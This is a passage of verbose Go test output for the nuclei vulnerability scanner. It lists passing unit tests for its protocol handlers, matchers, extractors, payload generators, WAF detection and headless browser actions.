test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/rsync [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smb [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/smtp [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/ssh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/structs [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/telnet [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/libs/vnc [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/js/utils/pgwrap [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/keys [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/parser [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow [no test files] === RUN TestInfoJsonMarshal --- PASS: TestInfoJsonMarshal (0.00s) === RUN TestInfoYamlMarshal --- PASS: TestInfoYamlMarshal (0.00s) === RUN TestUnmarshal --- PASS: TestUnmarshal (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model (cached) === RUN TestYamlUnmarshal === RUN TestYamlUnmarshal/Info === RUN TestYamlUnmarshal/info === RUN TestYamlUnmarshal/inFo_ === RUN TestYamlUnmarshal/infO_ === RUN TestYamlUnmarshal/_INFO_ --- PASS: TestYamlUnmarshal (0.00s) --- PASS: TestYamlUnmarshal/Info (0.00s) --- PASS: TestYamlUnmarshal/info (0.00s) --- PASS: TestYamlUnmarshal/inFo_ (0.00s) --- PASS: TestYamlUnmarshal/infO_ (0.00s) --- PASS: TestYamlUnmarshal/_INFO_ (0.00s) === RUN TestYamlMarshal --- PASS: TestYamlMarshal (0.00s) === RUN TestYamlUnmarshalFail --- PASS: TestYamlUnmarshalFail (0.00s) === RUN TestGetSupportedSeverities --- PASS: TestGetSupportedSeverities (0.00s) === RUN TestMarshalJSON --- PASS: TestMarshalJSON (0.00s) === RUN TestSeveritiesMarshalYaml --- PASS: TestSeveritiesMarshalYaml (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/model/types/userAgent [no test files] === RUN TestMakeDynamicValuesCallback === RUN TestMakeDynamicValuesCallback/all === RUN TestMakeDynamicValuesCallback/first --- PASS: TestMakeDynamicValuesCallback (0.00s) --- PASS: TestMakeDynamicValuesCallback/all (0.00s) --- PASS: TestMakeDynamicValuesCallback/first (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators (cached) === RUN TestDslExpressions === RUN TestDslExpressions/resolve("scanme.sh","a") resolve("scanme.sh","a"): 128.199.158.128 === RUN TestDslExpressions/resolve("scanme.sh","6") resolve("scanme.sh","6"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","aaaa") resolve("scanme.sh","aaaa"): 2400:6180:0:d0::91:1001 === RUN TestDslExpressions/resolve("scanme.sh","soa") resolve("scanme.sh","soa"): ns69.domaincontrol.com === RUN TestDslExpressions/resolve("scanme.sh") resolve("scanme.sh"): 128.199.158.128 --- PASS: TestDslExpressions (0.09s) --- PASS: TestDslExpressions/resolve("scanme.sh","a") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh","6") (0.02s) --- PASS: TestDslExpressions/resolve("scanme.sh","aaaa") (0.03s) --- PASS: TestDslExpressions/resolve("scanme.sh","soa") (0.01s) --- PASS: TestDslExpressions/resolve("scanme.sh") (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl (cached) === RUN TestExtractor_ExtractRegex --- PASS: TestExtractor_ExtractRegex (0.00s) === RUN TestExtractor_ExtractKval --- PASS: TestExtractor_ExtractKval (0.00s) === RUN TestExtractor_ExtractXPath --- PASS: TestExtractor_ExtractXPath (0.00s) === RUN TestExtractor_ExtractJSON --- PASS: TestExtractor_ExtractJSON (0.00s) === RUN TestExtractor_ExtractDSL --- PASS: TestExtractor_ExtractDSL (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/extractors (cached) === RUN TestWordANDCondition --- PASS: TestWordANDCondition (0.00s) === RUN TestRegexANDCondition --- PASS: TestRegexANDCondition (0.00s) === RUN TestORCondition --- PASS: TestORCondition (0.00s) === RUN TestRegexOrCondition --- PASS: TestRegexOrCondition (0.00s) === RUN TestHexEncoding --- PASS: TestHexEncoding (0.00s) === RUN TestMatcher_MatchDSL --- PASS: TestMatcher_MatchDSL (0.00s) === RUN TestMatcher_MatchXPath_HTML --- PASS: TestMatcher_MatchXPath_HTML (0.00s) === RUN TestMatcher_MatchXPath_XML --- PASS: TestMatcher_MatchXPath_XML (0.00s) === RUN TestValidate --- PASS: TestValidate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/operators/matchers (cached) === RUN TestStandardWriterRequest === RUN TestStandardWriterRequest/WithoutTraceAndError === RUN TestStandardWriterRequest/TraceAndErrorWithoutError === RUN TestStandardWriterRequest/ErrorWithWrappedError --- PASS: TestStandardWriterRequest (0.00s) --- PASS: TestStandardWriterRequest/WithoutTraceAndError (0.00s) --- PASS: TestStandardWriterRequest/TraceAndErrorWithoutError (0.00s) --- PASS: TestStandardWriterRequest/ErrorWithWrappedError (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output (cached) === RUN TestTrackErrorKind --- PASS: TestTrackErrorKind (0.02s) === RUN TestTrackWaf_Detect --- PASS: TestTrackWaf_Detect (0.02s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats (cached) === RUN TestWAFDetection === RUN TestWAFDetection/Cloudflare_WAF === RUN TestWAFDetection/ModSecurity_WAF === RUN TestWAFDetection/No_WAF === RUN TestWAFDetection/Wordfence_WAF === RUN TestWAFDetection/Sucuri_WAF --- PASS: TestWAFDetection (0.03s) --- PASS: TestWAFDetection/Cloudflare_WAF (0.00s) --- PASS: TestWAFDetection/ModSecurity_WAF (0.00s) --- PASS: TestWAFDetection/No_WAF (0.00s) --- PASS: TestWAFDetection/Wordfence_WAF (0.00s) --- PASS: TestWAFDetection/Sucuri_WAF (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/output/stats/waf (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/progress [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/projectfile [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols [no test files] === RUN TestCodeProtocol --- PASS: TestCodeProtocol (0.47s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/code (cached) === RUN TestNormalizeAppName --- PASS: TestNormalizeAppName (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/automaticscan (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/contextargs [no test files] === RUN TestEvaluate --- PASS: TestEvaluate (0.00s) === RUN TestEval --- PASS: TestEval (0.00s) === RUN TestUnresolvedVariablesCheck --- PASS: TestUnresolvedVariablesCheck (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/expressions (cached) === RUN TestBatteringRamGenerator --- PASS: TestBatteringRamGenerator (0.00s) === RUN TestPitchforkGenerator --- PASS: TestPitchforkGenerator (0.00s) === RUN TestClusterbombGenerator --- PASS: TestClusterbombGenerator (0.00s) === RUN TestParsePayloadsWithAggression --- PASS: TestParsePayloadsWithAggression (0.00s) === RUN TestLoadPayloads === RUN TestLoadPayloads/templates-directory === RUN TestLoadPayloads/templates-path-relative === RUN TestLoadPayloads/template-directory === RUN TestLoadPayloads/invalid --- PASS: TestLoadPayloads (2.60s) --- PASS: TestLoadPayloads/templates-directory (0.00s) --- PASS: TestLoadPayloads/templates-path-relative (0.00s) --- PASS: TestLoadPayloads/template-directory (0.00s) --- PASS: TestLoadPayloads/invalid (0.00s) === RUN TestLoadPayloadsWithAccess === RUN TestLoadPayloadsWithAccess/no-sandbox-unix --- PASS: TestLoadPayloadsWithAccess (1.36s) --- PASS: TestLoadPayloadsWithAccess/no-sandbox-unix (0.00s) === RUN TestMergeMapsMany --- PASS: TestMergeMapsMany (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/generators (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/globalmatchers [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/deserialization [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/eventcreator [no test files] === RUN TestHexDumpHighlighting === RUN TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character --- PASS: TestHexDumpHighlighting (0.01s) --- PASS: TestHexDumpHighlighting/Test_highlighting_when_the_snippet_is_wrapped (0.01s) --- PASS: TestHexDumpHighlighting/Test_highlight_when_the_snippet_contains_separator_character (0.00s) === RUN TestHighlight === RUN TestHighlight/Test_highlighting_when_the_snippet_is_wrapped === RUN TestHighlight/Test_highlighting_without_hexdump abcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmnabcdefghijklmn=== RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true === RUN TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 --- PASS: TestHighlight (0.01s) --- PASS: TestHighlight/Test_highlighting_when_the_snippet_is_wrapped (0.01s) --- PASS: TestHighlight/Test_highlighting_without_hexdump (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true (0.00s) --- PASS: TestHighlight/Test_the_response_is_not_modified_if_noColor_is_true#01 (0.00s) === RUN TestMultiSubstringMatchHighlight --- PASS: TestMultiSubstringMatchHighlight (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/responsehighlighter (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/helpers/writer [no test files] === RUN TestCacheCheck === RUN TestCacheCheck/increment_host_error === RUN TestCacheCheck/flagged [INF] Skipped TestCacheCheck:80 from target list as found unresponsive 5 times === RUN TestCacheCheck/mark_failed_or_remove --- PASS: TestCacheCheck (0.00s) --- PASS: TestCacheCheck/increment_host_error (0.00s) --- PASS: TestCacheCheck/flagged (0.00s) --- PASS: TestCacheCheck/mark_failed_or_remove (0.00s) === RUN TestTrackErrors [INF] Skipped custom:80 from target list as found unresponsive 3 times --- PASS: TestTrackErrors (0.00s) === RUN TestCacheItemDo --- PASS: TestCacheItemDo (0.00s) === RUN TestRemove [INF] Skipped TestRemove:80 from target list as found unresponsive 100 times --- PASS: TestRemove (0.01s) === RUN TestCacheMarkFailed --- PASS: TestCacheMarkFailed (0.00s) === RUN TestCacheMarkFailedConcurrent [INF] Skipped example.com:80 from target list as found unresponsive 200 times [INF] Skipped example.com:443 from target list as found unresponsive 100 times --- PASS: TestCacheMarkFailedConcurrent (0.01s) === RUN TestCacheCheckConcurrent --- PASS: TestCacheCheckConcurrent (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/hosterrorscache (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/interactsh [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/marker [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolinit [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate [no test files] === RUN TestGetRandomIp === RUN TestGetRandomIp/Valid_C_class === RUN TestGetRandomIp/Valid_B_class === RUN TestGetRandomIp/Valid_A_class === RUN TestGetRandomIp/Valid_classless_zero_based_network === RUN TestGetRandomIp/Valid_classless_non-zero_based_network === RUN TestGetRandomIp/Multiple_CIDRs === RUN TestGetRandomIp/Negative_CIDR_length === RUN TestGetRandomIp/Large_CIDR_length === RUN TestGetRandomIp/No_CIDR_provided === RUN TestGetRandomIp/Valid_but_crazy === RUN TestGetRandomIp/Valid_but_unlikely === RUN TestGetRandomIp/Valid_IPv6 === RUN TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base === RUN TestGetRandomIp/IPv6_and_IPv4 === RUN TestGetRandomIp/Negative_CIDR_length_IPv6 === RUN TestGetRandomIp/Large_CIDR_length_IPv6 === RUN TestGetRandomIp/Valid_but_unlikely_IPv6 --- PASS: TestGetRandomIp (0.00s) --- PASS: TestGetRandomIp/Valid_C_class (0.00s) --- PASS: TestGetRandomIp/Valid_B_class (0.00s) --- PASS: TestGetRandomIp/Valid_A_class (0.00s) --- PASS: TestGetRandomIp/Valid_classless_zero_based_network (0.00s) --- PASS: TestGetRandomIp/Valid_classless_non-zero_based_network (0.00s) --- PASS: TestGetRandomIp/Multiple_CIDRs (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length (0.00s) --- PASS: TestGetRandomIp/No_CIDR_provided (0.00s) --- PASS: TestGetRandomIp/Valid_but_crazy (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely (0.00s) --- PASS: TestGetRandomIp/Valid_IPv6 (0.00s) --- PASS: TestGetRandomIp/Classless_IPv4_starting_with_a_non-zero_base (0.00s) --- PASS: TestGetRandomIp/IPv6_and_IPv4 (0.00s) --- PASS: TestGetRandomIp/Negative_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Large_CIDR_length_IPv6 (0.00s) --- PASS: TestGetRandomIp/Valid_but_unlikely_IPv6 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/randomip (cached) === RUN TestReplacerReplace === RUN TestReplacerReplace/Invalid_arguments === RUN TestReplacerReplace/Nested === RUN TestReplacerReplace/Basic === RUN TestReplacerReplace/No_template_variables === RUN TestReplacerReplace/Nested_variable === RUN TestReplacerReplace/Space_in_variable_name === RUN TestReplacerReplace/Escaped_marker_in_template === RUN TestReplacerReplace/Escaping_no_marker_in_template === RUN TestReplacerReplace/Empty_variable_name === RUN TestReplacerReplace/Multiple_replacement --- PASS: TestReplacerReplace (0.00s) --- PASS: TestReplacerReplace/Invalid_arguments (0.00s) --- PASS: TestReplacerReplace/Nested (0.00s) --- PASS: TestReplacerReplace/Basic (0.00s) --- PASS: TestReplacerReplace/No_template_variables (0.00s) --- PASS: TestReplacerReplace/Nested_variable (0.00s) --- PASS: TestReplacerReplace/Space_in_variable_name (0.00s) --- PASS: TestReplacerReplace/Escaped_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Escaping_no_marker_in_template (0.00s) --- PASS: TestReplacerReplace/Empty_variable_name (0.00s) --- PASS: TestReplacerReplace/Multiple_replacement (0.00s) === RUN TestReplacerReplaceOne === RUN TestReplacerReplaceOne/Basic === RUN TestReplacerReplaceOne/Basic_Multiple_Vars === RUN TestReplacerReplaceOne/Missing_key === RUN TestReplacerReplaceOne/Replacement_value_empty === RUN TestReplacerReplaceOne/Empty_key_and_value_different_markers === RUN TestReplacerReplaceOne/Empty_key_and_value_same_marker --- PASS: TestReplacerReplaceOne (0.00s) --- PASS: TestReplacerReplaceOne/Basic (0.00s) --- PASS: TestReplacerReplaceOne/Basic_Multiple_Vars (0.00s) --- PASS: TestReplacerReplaceOne/Missing_key (0.00s) --- PASS: TestReplacerReplaceOne/Replacement_value_empty (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_different_markers (0.00s) --- PASS: TestReplacerReplaceOne/Empty_key_and_value_same_marker (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/replacer (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover [no test files] === RUN TestExcludeMatchers --- PASS: TestExcludeMatchers (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/excludematchers (cached) === RUN TestDumpVariables --- PASS: TestDumpVariables (0.00s) === RUN TestProcess --- PASS: TestProcess (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/utils/vardump (cached) === RUN TestVariablesEvaluate --- PASS: TestVariablesEvaluate (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/variables (cached) === RUN TestDNSCompileMake --- PASS: TestDNSCompileMake (0.49s) === RUN TestDNSRequests === RUN TestDNSRequests/dns-regular === RUN TestDNSRequests/dns-payload --- PASS: TestDNSRequests (0.00s) --- PASS: TestDNSRequests/dns-regular (0.00s) --- PASS: TestDNSRequests/dns-payload (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestDNSOperatorMatch === RUN TestDNSOperatorMatch/valid === RUN TestDNSOperatorMatch/rcode === RUN TestDNSOperatorMatch/negative === RUN TestDNSOperatorMatch/invalid === RUN TestDNSOperatorMatch/caseInsensitive --- PASS: TestDNSOperatorMatch (0.00s) --- PASS: TestDNSOperatorMatch/valid (0.00s) --- PASS: TestDNSOperatorMatch/rcode (0.00s) --- PASS: TestDNSOperatorMatch/negative (0.00s) --- PASS: TestDNSOperatorMatch/invalid (0.00s) --- PASS: TestDNSOperatorMatch/caseInsensitive (0.00s) === RUN TestDNSOperatorExtract === RUN TestDNSOperatorExtract/extract === RUN TestDNSOperatorExtract/kval --- PASS: TestDNSOperatorExtract (0.00s) --- PASS: TestDNSOperatorExtract/extract (0.00s) --- PASS: TestDNSOperatorExtract/kval (0.00s) === RUN TestDNSMakeResult --- PASS: TestDNSMakeResult (0.00s) === RUN TestDNSExecuteWithResults === RUN TestDNSExecuteWithResults/domain-valid --- PASS: TestDNSExecuteWithResults (0.01s) --- PASS: TestDNSExecuteWithResults/domain-valid (0.01s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/dns/dnsclientpool [no test files] === RUN TestFindInputPaths --- PASS: TestFindInputPaths (2.16s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestFileOperatorMatch === RUN TestFileOperatorMatch/valid === RUN TestFileOperatorMatch/negative === RUN TestFileOperatorMatch/invalid === RUN TestFileOperatorMatch/caseInsensitive --- PASS: TestFileOperatorMatch (0.00s) --- PASS: TestFileOperatorMatch/valid (0.00s) --- PASS: TestFileOperatorMatch/negative (0.00s) --- PASS: TestFileOperatorMatch/invalid (0.00s) --- PASS: TestFileOperatorMatch/caseInsensitive (0.00s) === RUN TestFileOperatorExtract === RUN TestFileOperatorExtract/extract === RUN TestFileOperatorExtract/kval --- PASS: TestFileOperatorExtract (0.00s) --- PASS: TestFileOperatorExtract/extract (0.00s) --- PASS: TestFileOperatorExtract/kval (0.00s) === RUN TestFileMakeResultWithOrMatcher --- PASS: TestFileMakeResultWithOrMatcher (0.00s) === RUN TestFileMakeResultWithAndMatcher --- PASS: TestFileMakeResultWithAndMatcher (0.00s) === RUN TestFileExecuteWithResults === RUN TestFileExecuteWithResults/valid === RUN TestFileExecuteWithResults/valid#01 === RUN TestFileExecuteWithResults/valid#02 --- PASS: TestFileExecuteWithResults (0.01s) --- PASS: TestFileExecuteWithResults/valid (0.00s) --- PASS: TestFileExecuteWithResults/valid#01 (0.00s) --- PASS: TestFileExecuteWithResults/valid#02 (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/file (cached) testing: warning: no tests to run PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless (cached) [no tests to run] === RUN TestActionNavigate --- PASS: TestActionNavigate (1.79s) === RUN TestActionScript === RUN TestActionScript/run-and-results === RUN TestActionScript/hook --- PASS: TestActionScript (8.05s) --- PASS: TestActionScript/run-and-results (1.58s) --- PASS: TestActionScript/hook (6.47s) === RUN TestActionClick --- PASS: TestActionClick (6.59s) === RUN TestActionRightClick --- PASS: TestActionRightClick (1.63s) === RUN TestActionTextInput --- PASS: TestActionTextInput (6.64s) === RUN TestActionHeadersChange --- PASS: TestActionHeadersChange (6.54s) === RUN TestActionScreenshot [INF] Screenshot successfully saved at /tmp/test.png --- PASS: TestActionScreenshot (3.73s) === RUN TestActionScreenshotToDir [INF] Screenshot successfully saved at /tmp/screenshot-344/test.png --- PASS: TestActionScreenshotToDir (3.71s) === RUN TestActionTimeInput --- PASS: TestActionTimeInput (6.59s) === RUN TestActionSelectInput --- PASS: TestActionSelectInput (1.62s) === RUN TestActionFilesInput --- PASS: TestActionFilesInput (1.63s) === RUN TestActionFilesInputNegative --- PASS: TestActionFilesInputNegative (6.50s) === RUN TestActionWaitLoad --- PASS: TestActionWaitLoad (6.53s) === RUN TestActionGetResource --- PASS: TestActionGetResource (1.78s) === RUN TestActionExtract --- PASS: TestActionExtract (1.58s) === RUN TestActionSetMethod --- PASS: TestActionSetMethod (1.52s) === RUN TestActionAddHeader --- PASS: TestActionAddHeader (1.51s) === RUN TestActionDeleteHeader --- PASS: TestActionDeleteHeader (1.53s) === RUN TestActionSetBody --- PASS: TestActionSetBody (1.54s) === RUN TestActionKeyboard --- PASS: TestActionKeyboard (1.67s) === RUN TestActionSleep --- PASS: TestActionSleep (3.55s) === RUN TestActionWaitVisible === RUN TestActionWaitVisible/wait_for_an_element_being_visible === RUN TestActionWaitVisible/timeout_because_of_element_not_visible --- PASS: TestActionWaitVisible (5.06s) --- PASS: TestActionWaitVisible/wait_for_an_element_being_visible (2.60s) --- PASS: TestActionWaitVisible/timeout_because_of_element_not_visible (2.46s) === RUN TestActionWaitDialog === RUN TestActionWaitDialog/Triggered === RUN TestActionWaitDialog/Invalid --- PASS: TestActionWaitDialog (3.91s) --- PASS: TestActionWaitDialog/Triggered (1.47s) --- PASS: TestActionWaitDialog/Invalid (2.43s) === RUN TestContainsAnyModificationActionType --- PASS: TestContainsAnyModificationActionType (0.00s) === RUN TestBlockedHeadlessURLS --- PASS: TestBlockedHeadlessURLS (3.68s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/headless/engine 90.153s === RUN TestMakeRequestFromModal --- PASS: TestMakeRequestFromModal (0.43s) === RUN TestMakeRequestFromModalTrimSuffixSlash --- PASS: TestMakeRequestFromModalTrimSuffixSlash (0.00s) === RUN TestMakeRequestFromRawWithPayloads --- PASS: TestMakeRequestFromRawWithPayloads (0.00s) === RUN TestMakeRequestFromRawPayloadExpressions --- PASS: TestMakeRequestFromRawPayloadExpressions (0.00s) === RUN TestMakeRequestFromModelUniqueInteractsh [INF] Using Interactsh Server: oast.fun --- PASS: TestMakeRequestFromModelUniqueInteractsh (1.38s) === RUN TestCanCluster --- PASS: TestCanCluster (0.00s) === RUN TestHTTPCompile --- PASS: TestHTTPCompile (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid === RUN TestHTTPOperatorMatch/caseInsensitive --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) --- PASS: TestHTTPOperatorMatch/caseInsensitive (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval === RUN TestHTTPOperatorExtract/json === RUN TestHTTPOperatorExtract/json/jq-simple === RUN TestHTTPOperatorExtract/json/jq-array === RUN TestHTTPOperatorExtract/json/jq-object === RUN TestHTTPOperatorExtract/caseInsensitive --- PASS: TestHTTPOperatorExtract (0.00s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) --- PASS: TestHTTPOperatorExtract/json (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-simple (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-array (0.00s) --- PASS: TestHTTPOperatorExtract/json/jq-object (0.00s) --- PASS: TestHTTPOperatorExtract/caseInsensitive (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestRequestParseAnnotationsSNI === RUN TestRequestParseAnnotationsSNI/compliant-SNI-value === RUN TestRequestParseAnnotationsSNI/non-compliant-SNI-value --- PASS: TestRequestParseAnnotationsSNI (0.00s) --- PASS: TestRequestParseAnnotationsSNI/compliant-SNI-value (0.00s) --- PASS: TestRequestParseAnnotationsSNI/non-compliant-SNI-value (0.00s) === RUN TestRequestParseAnnotationsTimeout === RUN TestRequestParseAnnotationsTimeout/positive === RUN TestRequestParseAnnotationsTimeout/negative --- PASS: TestRequestParseAnnotationsTimeout (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/positive (0.00s) --- PASS: TestRequestParseAnnotationsTimeout/negative (0.00s) === RUN TestRequestGeneratorPaths --- PASS: TestRequestGeneratorPaths (0.00s) === RUN TestRequestGeneratorClusterBombSingle --- PASS: TestRequestGeneratorClusterBombSingle (0.00s) === RUN TestRequestGeneratorClusterBombMultipleRaw --- PASS: TestRequestGeneratorClusterBombMultipleRaw (0.00s) === RUN TestHTTPExtractMultipleReuse === RUN TestHTTPExtractMultipleReuse/test --- PASS: TestHTTPExtractMultipleReuse (0.02s) --- PASS: TestHTTPExtractMultipleReuse/test (0.02s) === RUN TestDisableTE === RUN TestDisableTE/test === RUN TestDisableTE/test2 --- PASS: TestDisableTE (0.01s) --- PASS: TestDisableTE/test (0.00s) --- PASS: TestDisableTE/test2 (0.00s) === RUN TestReqURLPattern === RUN TestReqURLPattern/test [INF] Using Interactsh Server: oast.fun --- PASS: TestReqURLPattern (7.25s) --- PASS: TestReqURLPattern/test (1.20s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httputils [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/race [no test files] === RUN TestParseRawRequestWithPort === RUN TestParseRawRequestWithPort/path-suffix === RUN TestParseRawRequestWithPort/query-values --- PASS: TestParseRawRequestWithPort (0.00s) --- PASS: TestParseRawRequestWithPort/path-suffix (0.00s) --- PASS: TestParseRawRequestWithPort/query-values (0.00s) === RUN TestParseRawRequest --- PASS: TestParseRawRequest (0.00s) === RUN TestParseUnsafeRequestWithPath --- PASS: TestParseUnsafeRequestWithPath (0.00s) === RUN TestTryFillCustomHeaders --- PASS: TestTryFillCustomHeaders (0.00s) === RUN TestDisableMergePath --- PASS: TestDisableMergePath (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/raw (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signer [no test files] ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/signerpool [no test files] === RUN TestCompile --- PASS: TestCompile (0.35s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/javascript (cached) === RUN TestNetworkCompileMake === RUN TestNetworkCompileMake/check-tls-with-port --- PASS: TestNetworkCompileMake (0.37s) --- PASS: TestNetworkCompileMake/check-tls-with-port (0.00s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestNetworkOperatorMatch === RUN TestNetworkOperatorMatch/valid === RUN TestNetworkOperatorMatch/negative === RUN TestNetworkOperatorMatch/invalid === RUN TestNetworkOperatorMatch/caseInsensitive --- PASS: TestNetworkOperatorMatch (0.00s) --- PASS: TestNetworkOperatorMatch/valid (0.00s) --- PASS: TestNetworkOperatorMatch/negative (0.00s) --- PASS: TestNetworkOperatorMatch/invalid (0.00s) --- PASS: TestNetworkOperatorMatch/caseInsensitive (0.00s) === RUN TestNetworkOperatorExtract === RUN TestNetworkOperatorExtract/extract === RUN TestNetworkOperatorExtract/kval --- PASS: TestNetworkOperatorExtract (0.00s) --- PASS: TestNetworkOperatorExtract/extract (0.00s) --- PASS: TestNetworkOperatorExtract/kval (0.00s) === RUN TestNetworkMakeResult --- PASS: TestNetworkMakeResult (0.00s) === RUN TestNetworkExecuteWithResults === RUN TestNetworkExecuteWithResults/domain-valid === RUN TestNetworkExecuteWithResults/invalid-port-override === RUN TestNetworkExecuteWithResults/hex-to-string --- PASS: TestNetworkExecuteWithResults (0.01s) --- PASS: TestNetworkExecuteWithResults/domain-valid (0.00s) --- PASS: TestNetworkExecuteWithResults/invalid-port-override (0.00s) --- PASS: TestNetworkExecuteWithResults/hex-to-string (0.00s) PASS ok github.com/projectdiscovery/nuclei/v3/pkg/protocols/network (cached) ? github.com/projectdiscovery/nuclei/v3/pkg/protocols/network/networkclientpool [no test files] === RUN TestFindResponses --- PASS: TestFindResponses (0.40s) === RUN TestResponseToDSLMap --- PASS: TestResponseToDSLMap (0.00s) === RUN TestHTTPOperatorMatch === RUN TestHTTPOperatorMatch/valid === RUN TestHTTPOperatorMatch/negative === RUN TestHTTPOperatorMatch/invalid --- PASS: TestHTTPOperatorMatch (0.00s) --- PASS: TestHTTPOperatorMatch/valid (0.00s) --- PASS: TestHTTPOperatorMatch/negative (0.00s) --- PASS: TestHTTPOperatorMatch/invalid (0.00s) === RUN TestHTTPOperatorExtract === RUN TestHTTPOperatorExtract/extract === RUN TestHTTPOperatorExtract/kval --- PASS: TestHTTPOperatorExtract (0.00s) --- PASS: TestHTTPOperatorExtract/extract (0.00s) --- PASS: TestHTTPOperatorExtract/kval (0.00s) === RUN TestHTTPMakeResult --- PASS: TestHTTPMakeResult (0.00s) === RUN TestReadResponseFromString === RUN TestReadResponseFromString/response === RUN TestReadResponseFromString/response-http2-without-minor-version === RUN 